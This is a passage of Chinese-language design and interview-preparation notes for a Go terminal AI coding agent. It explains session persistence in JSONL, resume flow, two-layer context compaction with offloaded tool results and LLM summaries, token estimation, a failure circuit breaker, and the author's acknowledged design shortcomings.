处理方式是「丢掉最后那条 assistant」而不是「补一个假结果」。理由:模型会在下一轮重新决定调什么工具,丢一条的代价比伪造一个「[已丢失]」的结果小。
会话列举(list.go):
// ListSessions 扫描 sessionsDir,返回按修改时间倒序排列的会话列表。
// 只返回包含 conversation.jsonl 且 ID 能解析为新格式的目录。标题的提取方式很有意思——读第一条 role=user 的消息,截断到 50 个字符:
title = entry.Content
runes := []rune(title)
if len(runes) > 50 { title = string(runes[:50]) + "..." }注意用 []rune 而不是 []byte ——中文一个字符 3 字节,按字节截断会把汉字切碎变成乱码。
而且它边读边 break:
if title != "" && model != "" { break } // ← 拿到标题和模型就停,不读完整个文件为什么只读开头? 因为一个长会话的 JSONL 可能几 MB。列表里可能有几十个会话,全读一遍就是几百 MB 的 IO。列表是高频操作,必须快。
清理(cleanup.go):
func CleanExpired(sessionsDir string, maxAge time.Duration) error {
entries, err := os.ReadDir(sessionsDir)
if err != nil { if os.IsNotExist(err) { return nil }; return err }
now := time.Now()
for _, entry := range entries {
if !entry.IsDir() { continue }
id := entry.Name()
t, err := compact.ParseSessionTime(id)
if err != nil { continue } // 旧格式跳过
if now.Sub(t) > maxAge {
os.RemoveAll(sessionsDir + "/" + id)
}
}
return nil
}调用点(main.go):
sessionsDir := filepath.Join(root, ".mewcode", "sessions")
go func() {
if err := session.CleanExpired(sessionsDir, 30*24*time.Hour); err != nil {
fmt.Fprintf(os.Stderr, "[session] 过期会话清理失败: %v\n", err)
}
}()为什么放 goroutine? 因为它要遍历目录 + RemoveAll,是纯 IO 操作,不该拖慢启动。而且它失败也无所谓(打条日志),所以 fire-and-forget 是合适的。
注意它是「后台异步」而不是「定时任务」:每次启动跑一次。也就是说,如果一个用户启动一次之后挂了 40 天不关,那 40 天里不会清理。对这个场景够用——终端工具的生命周期就是一次使用。
恢复流程(internal/tui/resume.go)
用户输入 /resume 后的完整链路:
OpenResumeMenu()→state = stateResuming+ 异步加载列表(tea.Cmd,不阻塞 UI)session.ListSessions(sessionsDir)→ 包装成bubbles/list模型,支持 ↑↓ 导航 + 输入过滤 + Enter 选择 + Esc 取消- Enter 后
doResumeSession(info)→ 异步执行 7 步:
① session.LoadSession(info.Dir) 读消息(从最后一个 compact 标记后,跳坏行,截孤立调用)
② token 估算 + 超阈值压缩
③ 时间跨度提醒(>6h 追加一条系统提示)
④ compact.OpenSessionContext(root, info.ID) 重建 SessionContext(含 SpillDir)
⑤ session.OpenWriter(info.Dir) 以追加模式重开 JSONL
⑥ conversation.NewFromMessages(msgs, writer.OnAppend, writer.OnReplace)
⑦ 返回 resumeDoneMsg第 ② 步的细节(这是简历里「Token 超限自动压缩」的落点):
est := estimateTokens(msgs)
if est > int64(runtime.ContextWindow - 8000) {
// 用临时 Conversation 调 m.ag.RunForceCompact(...),成功则用压缩后的消息
}是「恢复时立刻压」而不是「等下一轮再压」。为什么?因为如果恢复一个 15 万 token 的会话,用户第一条消息可能就会触发压缩——那样用户会看到「我什么都没干,怎么就压缩了」。在恢复的那一刻压,用户能看到「已恢复 + 已压缩」的明确提示,体验更可预期。
这里有个不一致的地方:resume.go 的 estimateTokens 用的是 chars * 0.25(即 4 字符/token),而 compact 包里用的是 3.5 字符/token。两处系数不同。
为什么会有这个不一致? 显然是两处独立实现的。实际影响:resume 的估算偏高(4 > 3.5,同样的字符数算出更多 token),所以压缩更容易被触发——偏保守,不会漏压。方向上是安全的,但这是个应该统一的地方。被追问时要承认。
第 ③ 步的时间跨度提醒:
if elapsed := time.Since(info.ModifiedAt); elapsed > 6*time.Hour {
// 追加 llm.Message{Role: RoleUser,
// Content: "[系统提示] 本会话已暂停 %s。部分上下文可能已过时,如需最新信息请重新读取相关文件。"}
}为什么需要这个? 因为 Agent 的历史里有大量「文件内容的快照」。一个 6 小时前的会话恢复后,那些文件可能已经被改过了。如果不提醒,模型会基于过期内容推理——这比没有上下文更危险。
这个设计的思想是「不要假装上下文还有效」。同类设计还有压缩后的恢复段里那句边界提示(见下文)。
第 ⑤ 步的顺序要求(代码注释强调):
必须在构造 Conversation 之前,保证
onAppend/onReplace绑到恢复后的 JSONL
因为 Conversation 的回调是构造时注入的,如果先构造 Conversation 再换 writer,回调还指向旧的 writer,恢复后新增的消息会写回旧会话文件——这是个很容易犯的错。
上下文压缩:第一层(本地,不打 LLM)
常量(compact/const.go):
// 单条工具结果超过此字节数时触发落盘替换
singleResultLimit = 50000
// 单条 RoleTool 消息内工具结果聚合字节数超过此阈值时触发落盘
messageAggregateLimit = 200000
previewHeadBytes = 2048
previewHeadLines = 20算法(layer1.go:OffloadAndSnip):
对每条 RoleTool 消息:
1. 已决策项(在账本里)直接取账本结果;未决策项收集起来
2. 未决策项按字节数倒序排序 ← 大的优先处理
3. 计算未决策项的聚合字节数 remaining
4. 按倒序逐项处理:
needSpill = 单条 > 50000 OR 聚合 remaining > 200000
是 → 落盘 + 替换为预览,remaining -= 该项大小
否 → 记账为「保留」用倒序处理的原因:先把大块搬走,remaining 掉得快,可能后面几个小块就不用搬了。如果按正序处理,可能搬了一堆小块才发现总量超标——搬得越多,历史里留下的预览占位越多,信息损失越大。这是个不小的优化。
替换后的预览长这样(buildPreview):
[content offloaded] original size: 123456 bytes
[saved to] /path/to/.mewcode/sessions/<id>/tool-results/<tool_use_id>
[head preview]
<前 20 行 / 前 2048 字节>
完整内容已保存到上述路径,如需查看请用文件读取工具读取该路径,不要凭头部预览猜测全文最后那句话是刻意设计的。模型看到预览会以为「这就是全部内容」,从而基于截断的头部做推理。**显式告诉它「不要猜,要读原文」**是提示工程的一部分。
内容替换决策账本(ContentReplacementState)——这是第一层最精妙的设计:
// ContentReplacementState 会话级工具结果替换决策账本。
// seenIds 记录已决策的 tool_use_id;replacements 保存决定替换的预览字符串。
// 同一 id 一旦进入 seenIds 就不可翻转。
type ContentReplacementState struct {
mu sync.Mutex
seenIds map[string]struct{}
replacements map[string]string
}
// DecideOnce 在持锁状态下完成"查账本 → 决策 → 写账本"原子操作。
// decide 回调在持锁时调用,返回 (decision, preview):
// - "kept": 写 seenIds,不写 replacements,返回原 content
// - "replaced": 写 seenIds + replacements,返回 preview
// - "skip": 不写账本,返回原 content(下一轮可重试)
func (s *ContentReplacementState) DecideOnce(id, original string, decide func() (decision, preview string)) string为什么需要账本?「同一 id 一旦决策就不可翻转」解决什么问题?
ManageContext 是每一轮都调用的。如果每次都用「当前字节数」重新决策,会出现这种情况:
- 第 5 轮:结果 60000 字节 > 50000 → 落盘替换,历史里变成 2KB 预览
- 第 6 轮:历史里这条现在是 2KB → 不大于阈值 → 决策为「保留」→ 但它已经不是原文了
如果不用账本,就会出现「同一份历史在不同轮次里内容不一致」的情况。这会直接破坏 Prompt Cache(前缀变了,后面全失效),而且更要紧的是:模型的视野在轮与轮之间悄悄变化了——它上一轮看到的完整内容,这一轮变成了预览,模型会困惑。
账本的做法是「决策一次,永久生效」:第一次决策时把结论(含预览字符串)记下来,后面每轮直接取账本结果。这样历史内容在轮次之间是稳定的。
DecideOnce 的原子性:回调在持锁时执行——这是个不寻常的设计(通常我们会避免在持锁时执行用户回调)。这里刻意这么做,是为了保证「查账本 → 决策 → 写账本」三步是原子的。回调里的操作是「写文件 + 拼字符串」,都在本地,不会有重入风险。
「skip」状态的用途:落盘失败时返回 skip,不写账本——这样下一轮可以重试。如果写失败也记账为「已决策」,内容会永远保持原样且再也不会尝试压缩,最终爆窗口。
上下文压缩:第二层(LLM 摘要)
触发阈值(compact.go:manageAuto):
threshold := in.ContextWindow - SummaryReserve - AutoSafetyMargin
// = ContextWindow - 20000 - 13000
if estTokens < int64(threshold) || in.AutoTracking.Tripped() {
out.AfterTokens = estTokens
return out, nil // ← 未达阈值或熔断中,只让 layer1 生效
}以 200K 窗口为例:200000 - 20000 - 13000 = 167000。也就是用到 83.5% 才触发摘要。
为什么留 33000 的余量? 两个原因:
SummaryReserve = 20000:摘要请求自己也要发一次 LLM 请求,而且它要把整段历史塞进去。所以必须给它留出输入空间,还要留出摘要输出的空间。AutoSafetyMargin = 13000:吃掉 token 估算的误差。我的估算是「真实 usage + 字符数/3.5」,中文场景会低估。
摘要 prompt 的两阶段设计(summary_prompt.go):
## Phase 1: Analysis (will be discarded)
Write your analysis draft inside <analysis> tags. Think through:
- What was the user trying to accomplish?
- What key decisions were made?
- What files were modified or read?
- What errors were encountered and how were they fixed?
- What is the current state of work?
## Phase 2: Formal Summary (will be kept)
Write the formal summary inside <summary> tags. Follow these 9 sections exactly:
## 1 主要请求和意图
## 2 关键技术概念
## 3 文件和代码段
## 4 错误和修复
## 5 问题解决过程
## 6 所有用户消息原文
## 7 待办任务
## 8 当前工作(最详细)
## 9 可能的下一步「Phase 1 会被丢弃」是刻意的——它用的是 Chain-of-Thought 的思路:先让模型自由分析一遍(这部分输出我们不保留),再产出结构化摘要。这样摘要质量明显更好。
为什么是「9 个固定小节」而不是「让模型自由总结」? 因为自由总结会漏掉关键信息——典型的漏项是「用户的原始措辞」和「待办任务」。固定小节是用结构强制覆盖那些容易被忽略的维度。
第 6 节「所有用户消息原文」特别重要:用户的原始措辞携带了摘要无法替代的信息(比如「我不要那个方案,我要另一个」里的「那个」指代什么)。所以我要求原文保留。
第 8 节标了「最详细」:因为恢复后会话要继续,模型最需要知道的就是「现在进行到哪一步了」。
摘要的提取(ExtractSummary):
start := strings.Index(raw, "<summary>")
if start == -1 { return raw } // ← 找不到标签降级用原文
...
return strings.TrimSpace(raw[start : start+end])降级策略很重要:如果模型没按格式输出(比如它拒绝用标签),直接把原文当摘要用,而不是报错放弃压缩。压缩失败会导致爆窗口,比摘要质量差严重得多。
三段恢复附件(recovery.go:BuildRecoveryAttachment):
// 第一段:最近读过的文件快照
b.WriteString("## 最近读过的文件\n")
// 第二段:当前可用工具列表
b.WriteString("\n## 当前可用工具\n")
// 第三段:边界提示
b.WriteString("\n")
b.WriteString(boundaryNotice)boundaryNotice 原文:
## 重要提示
请注意:以上摘要仅用于提供上下文脉络。如果你需要获取文件的完整内容、确切的错误信息、或用户的原始措辞,请使用文件读取工具重新读取对应路径。不要依据摘要中的描述做代码推断或猜测。为什么需要这三段? 因为摘要是会失真的——它是模型对另一个模型输出的压缩,必然有信息损失。三段分别补三个最关键的缺口:
- 文件快照(
recoveryFileLimit = 5个,每个recoveryTokensPerFile = 5000token):摘要里说的「修改了 handler.go」不如文件的实际内容有用。这 5 个是最近读过的——按时间戳倒序(RecoveryState.Snapshot()里sort.Slice按Timestamp.After)。 - 工具列表:因为摘要产出时是过去,模型可能忘了自己有什么工具可用。
- 边界提示:这是最重要的一段,明确告诉模型「摘要不可信,要读原文」。
文件快照从哪来? Agent 主循环里的 recordFileReads:
// recordFileReads 在工具结果回灌前记录 ReadFile 调用的纯净字节。
func (a *Agent) recordFileReads(calls []llm.ToolCall, results []llm.ToolResult) {
for i := range calls {
if calls[i].Name != "read_file" { continue }
if i >= len(results) || results[i].IsError { continue }
// 解析 path → 读文件 → a.runtime.Recovery.RecordFile(absPath, string(b))
}
}注意它是「重新读一遍文件」(os.ReadFile)而不是从工具结果里取。为什么?因为 read_file 工具的返回带行号前缀(%6d\t%s),带行号的内容塞进恢复段会让模型困惑。重读一遍拿到纯净字节,代价是多一次文件读取。
快照的时机(代码注释):snapshot 由调用方在摘要入口一次性拍好,避免渲染期间状态漂移。
// 入口拍快照,整个 runSummary 生命周期只用这一份
recoverySnapshot := in.Recovery.Snapshot()为什么必须拍快照? 摘要是一个耗时的 LLM 调用(几秒到几十秒)。这期间主循环在别的地方可能还在调 RecordFile。如果不拍快照,恢复段的内容会在渲染过程中变化——变成一份「东拼西凑」的混合状态。
近期原文保留(pickRecentTail):
// 两个下界都满足后才停手("择宽"语义)
for i := len(msgs) - 1; i >= 0; i-- {
// 累加字符数 + 计数
if estTokens >= recentKeepTokens && count >= recentKeepMessages { break }
}
// 配对修正:若截断点夹在 tool_use/tool_result 中间,向前推到 assistant 之前
if startIdx < len(msgs) && msgs[startIdx].Role == llm.RoleTool {
for startIdx > 0 {
startIdx--
if msgs[startIdx].Role == llm.RoleAssistant && len(msgs[startIdx].ToolCalls) > 0 { break }
}
}recentKeepTokens = 10000,recentKeepMessages = 5,两个条件都要满足(注释叫「择宽」语义)。
为什么保留近期原文? 因为最近的上下文对当前任务最相关。如果全部换成摘要,模型会「失忆」——它不知道该接着哪往下做。这是「摘要 + 滑窗」的混合策略。
「配对修正」是关键:如果截断点落在 tool_use(assistant)和 tool_result(tool)之间,就会得到一个「请求了工具但没有结果」的历史——Anthropic 直接 400。所以要么把 assistant 也包进来,要么整个丢掉工具回合。代码选择向前推进到包含那个 assistant。
摘要请求自身的 PTL 重试(layer2.go:ptlRetry):
// ptlRetry 摘要请求自身 PTL 的重试策略:
//
// 前 3 次:每次丢最旧的 1 组
// 之后:按 20% 比例丢(至少 1 组)
// 直到成功或全部丢光
func ptlRetry(ctx context.Context, in ManageInput, msgs []llm.Message) (string, error) {
groups := groupByUserTurn(msgs)
for retry := 0; retry < ptlRetryLimit && len(groups) > 1; retry++ {
groups = groups[1:] // 丢最旧 1 组
if summary, err := summarizeOnce(ctx, in, flattenGroups(groups)); err == nil { return summary, nil }
}
for len(groups) > 1 {
drop := int(math.Ceil(float64(len(groups)) * ptlDropPercentage)) // 20%
...
}
return "", context.DeadlineExceeded // sentinel: 全部丢光
}这个设计要解决什么问题? 极端情况——历史长到连摘要请求本身都超窗口。此时摘要就永远发不出去,压缩永远失败,死锁。
分段策略的智慧:前 3 次「每次只丢一组」是保守的(尽量多保留信息);如果还不行,说明差得很远,就按 20% 大步丢,快速收敛。这是「先小步试探、再大步跨越」的经典重试策略。
分组依据是「用户回合」(groupByUserTurn)而不是「单条消息」——因为一条 assistant 的 tool_use 和后续的 tool_result 必须成对处理,拆开会产生非法历史。
熔断器(state.go:AutoCompactTrackingState):
const maxConsecutiveAutoCompactFailures = 3
// AutoCompact 自动摘要:成功后清零失败计数;整轮失败累加失败计数。
func AutoCompact(...) {
newMsgs, err := runSummary(ctx, in)
if err != nil {
in.AutoTracking.RecordFailure() // ← 失败累加
return nil, beforeTok, 0, err
}
in.AutoTracking.RecordSuccess() // ← 成功清零
...
}
// ForceCompact 手动/紧急摘要:不走熔断器,失败不计入熔断计数。为什么需要熔断? 假设摘要一直失败(比如模型服务挂了、或者 API key 余额不足)。如果不熔断,每一轮循环都会尝试一次摘要——每轮多花一次失败的请求、多几秒延迟,而且永远卡在「压缩不成功 → 下一轮又试」的状态。熔断让它彻底放弃自动压缩,用户看到的是「上下文满了报错」,而不是「每轮都卡十秒」。
关键设计:手动和紧急路径不计入熔断。ForceCompact 不记录失败。原因:如果用户手动 /compact 失败了,他应该能再试一次——不能被之前的失败计数挡住。而紧急压缩(收到 ErrPromptTooLong 之后)是最后一道防线,如果因为熔断跳闸而不执行,用户就彻底没救了。
Token 估算:锚点 + 增量
// EstimateTokens 锚定最近一次 provider usage + 之后新增消息的字符增量。
// 返回 anchor + ceil(sum(chars(allMsgs[anchorMsgLen:])) / estimateCharsPerToken)
func EstimateTokens(anchor int64, allMsgs []llm.Message, anchorMsgLen int) int64 {
var tail []llm.Message
if anchorMsgLen < len(allMsgs) { tail = allMsgs[anchorMsgLen:] }
chars := messageChars(tail)
return anchor + int64(math.Ceil(float64(chars)/estimateCharsPerToken)) // 3.5
}这个设计的核心:误差不累积。
- 锚点:每次主对话路径的 Stream 结束后,用 provider 返回的真实 usage 更新锚点:
// UsageAnchor 将 Stream 尾事件中的 usage 合并成单一锚点值。
func UsageAnchor(u *llm.Usage) int64 {
return u.InputTokens + u.OutputTokens + u.CacheWrite + u.CacheRead
}- 增量:锚点之后新增的消息,按字符数 / 3.5 估算。
为什么把 4 个 token 字段全加起来? 因为它们都是「这一轮实际消耗的输入侧 token」。CacheRead 特别重要——它代表被缓存的部分,但这部分 token 依然占上下文窗口。如果只算 InputTokens,命中缓存时会严重低估。
「误差不累积」为什么重要? 如果每轮都在上一轮的估算值上叠加,误差会指数放大,10 轮之后完全不准。而「锚点 + 增量」保证每一轮都被真实值重新校准——上一次 stream 结束就拿到真实 usage 了,所以估算误差只覆盖「本轮新增的那几条消息」。
一个细节:摘要请求的 usage 不更新锚点(代码注释:「摘要请求不更新 SessionRuntime」)。因为摘要是另一个对话(只有一条 user 消息),它的 usage 跟主对话的上下文长度无关。
压缩的触发时机(三条路径)
| 触发 | 入口 | 行为 |
|---|---|---|
| 自动 | Agent.Run 每轮开始 | layer1 → 重估 → 超阈值才 layer2;受熔断约束 |
| 手动 | /compact 命令 → RunForceCompact | 跳过 layer1、跳过阈值判断、跳过熔断,直接摘要 |
| 紧急 | 收到 ErrPromptTooLong | 先强制 layer1,再无条摘要;不计入熔断 |
自动路径的 ManageContext 里,layer1 必须先做(代码注释):
// a. 执行 layer1(必须先做,因为 layer1 节省的 token 需要反映在阈值判断里)
layer1Out, _ := OffloadAndSnip(in.Conv.Messages(), in.Replacement, in.Session)
in.Conv.ReplaceMessages(layer1Out)
// b. 用 layer1 之后的 updatedMsgs 重算估算 token
estTokens := EstimateTokens(in.UsageAnchor, layer1Out, in.AnchorMsgLen)顺序不能反:如果先判断阈值再压 layer1,那么「其实 layer1 就够了的场景」会白跑一次 LLM 摘要。这个顺序本身就是一个优化。
紧急压缩的完整流程(agent.go:283-313):
if sErr != nil && errors.Is(sErr, llm.ErrPromptTooLong) && !emergencyRetried {
out2, fErr := compact.ManageContext(ctx, compact.ManageInput{... Trigger: compact.TriggerEmergency})
if fErr != nil { emit(Err); return }
a.runtime.ResetAnchor() // ← 锚点失效,重置
est2 := compact.EstimateTokens(0, conv.Messages(), 0)
if est2 >= int64(cw - compact.ManualSafetyMargin) { // 只留 3000 余量
emit(ctx, ch, Event{Err: sErr}); return // 压了还是不够 → 放弃
}
emergencyRetried = true
text, calls, usage, sErr = streamOnce(...) // ← 重发一次
}emergencyRetried 标志保证只重试一次。如果压缩后还超(est2 >= cw - 3000),就不再重试,直接报错。否则可能无限循环。
ResetAnchor() 是必须的——因为历史被重写了,之前的锚点对应的消息长度完全对不上,继续用会算出天文数字。
④ 设计权衡
权衡 1:为什么用 JSONL 而不是 SQLite?
| 维度 | JSONL | SQLite |
|---|---|---|
| 依赖 | 无(标准库) | 需要一个 CGO 依赖或纯 Go 实现 |
| 崩溃安全 | 追加写,最坏丢最后一行 | 需要 WAL 配置,但能做到更强 |
| 可观测性 | tail -f 直接看 | 需要工具 |
| 追加/查询 | 追加 O(1),查询要全扫 | 都有索引 |
| 二进制体积 | +1.5MB(纯 Go SQLite 实现) |
对这个场景,查询需求几乎是零——我们只需要「列出会话(按时间)」和「读某个会话」。这两个操作用目录扫描 + 文件读就够了,不需要 SQL。
真正让我选 JSONL 的是「崩溃安全 + 零依赖 + 可观测」这三点。特别是可观测——调试 Agent 的时候,能直接 tail -f 看每一轮的消息流动,这个体验太好了。
什么时候该换 SQLite? 当需要「跨会话搜索」(比如「找出所有讨论过 auth 模块的会话」)的时候。那时候全扫 JSONL 就是 O(会话数 × 文件大小),必须上索引。
权衡 2:为什么每次写都 fsync,而不是攒一批?
fsync 的代价:每次 1–10ms。一轮对话假设有 10 条消息(assistant + tool results + …),就是 10–100ms 的额外开销。
收益:进程被 kill -9 时最多丢一行。
为什么我认为值得? 因为终端 Agent 是长时间交互的工具,会话历史就是用户的工作成果。用户按 Ctrl+C 或者电脑休眠、终端崩溃,都不该丢对话。而 100ms 对一轮几秒的对话来说完全无感。
如果要优化:可以用「定时批量 fsync」(比如每 100ms 一次),代价是崩溃时可能丢最近 100ms 的消息。对这个场景不值得——正确性优先于 100ms 的性能。
权衡 3:为什么第一层压缩用「落盘 + 预览」而不是直接丢弃或截断?
直接丢:模型彻底失去这个信息,只能重新读文件。但如果是搜索结果、命令输出这类不可重现的内容(比如 go test 的输出、某个动态查询的结果),重新拿到的可能不一样。 直接截断:模型会以为截断后的内容就是全部,基于残缺信息推理。 落盘 + 预览 + 明确指引:信息没丢(模型可以按路径读回),同时它明确知道自己看的是预览,不会误判。
这个设计的本质是「无损降级」——用一次额外的工具调用换取信息的完整性。
代价:tool-results/ 目录会持续增长。但这个我通过「30 天会话清理」一起解决了——会话目录被删的时候,tool-results/ 是它的子目录,会被一起删掉。
权衡 4:为什么摘要要分「分析 + 正式」两阶段,而不是直接要正式摘要?
因为 Chain-of-Thought 的收益在压缩任务上同样成立。让模型先自由梳理一遍再产出结构化结果,比直接要求结构化输出的质量高得多——这是被我自己的实测验证过的。
代价是多输出一些 token(<analysis> 那段)。但这些 token 在摘要请求的输出侧,不影响主对话的上下文,而且只花一次。
权衡 5:熔断为什么是「连续 3 次」而不是立即熔断?
因为失败可能是瞬时的——网络抖动、模型限流、临时 5xx。立即熔断意味着一次抖动就永久失去自动压缩能力。3 次给了容错空间。
而为什么是 3 不是 10? 因为每次失败都是一次真实的 API 调用尝试(有延迟、有成本)。3 次就是「连续 3 轮循环各失败一次」——大概 30 秒。这个时间尺度上,如果还在失败,说明不是抖动而是真故障。
⑤ 备注与坑
| 坑 | 详情 | 应对 |
|---|---|---|
compact / session / llm 三个包无单测 | 恰好是简历第 1 和第 5 条 | 见 00 软肋 1,主动承认 + 给补救方案 |
| token 估算系数不一致 | compact 用 3.5 字符/token,resume.go 用 chars * 0.25(4 字符/token) | 主动说:「这是个应该统一的地方。方向上 resume 偏保守(估得多、更容易触发压缩),所以不会漏压,但两个系数应该收敛成一个共享常量。」 |
「恢复时立刻压缩」的阈值是 ContextWindow - 8000 | 与 compact 的 -33000 不同 | 「两个场景不一样:恢复时是要把一份静止的历史压到能继续用,只留 8000 余量就够;而运行中的自动压缩要给摘要请求本身留 20000,再留 13000 的安全余量。语义不同,所以阈值不同。」 |
Writer 的错误被忽略 | _ = w.Append(...) | 「对话能继续比日志写成功重要。但确实应该把写失败至少展示成一个 Notice 事件,现在用户完全无感。这是个缺陷。」 |
| 摘要的 9 个小节是硬编码中文 | prompt 里明确要求「用用户消息的语言写」 | 「小节标题是中文的,但 prompt 里要求『用用户的语言输出正文』。如果用户全程说英文,标题和中英混排会有点怪。理想做法是标题本身也本地化。」 |
| 压缩标记后老内容不删 | JSONL 会持续增长(旧历史 + 新历史都在文件里) | 「是有意的——保留完整审计轨迹,而且 30 天清理会一起删掉。代价是文件可能到几 MB。」 |
➡️ 下一篇:03-面试题库-协议与Agent循环.md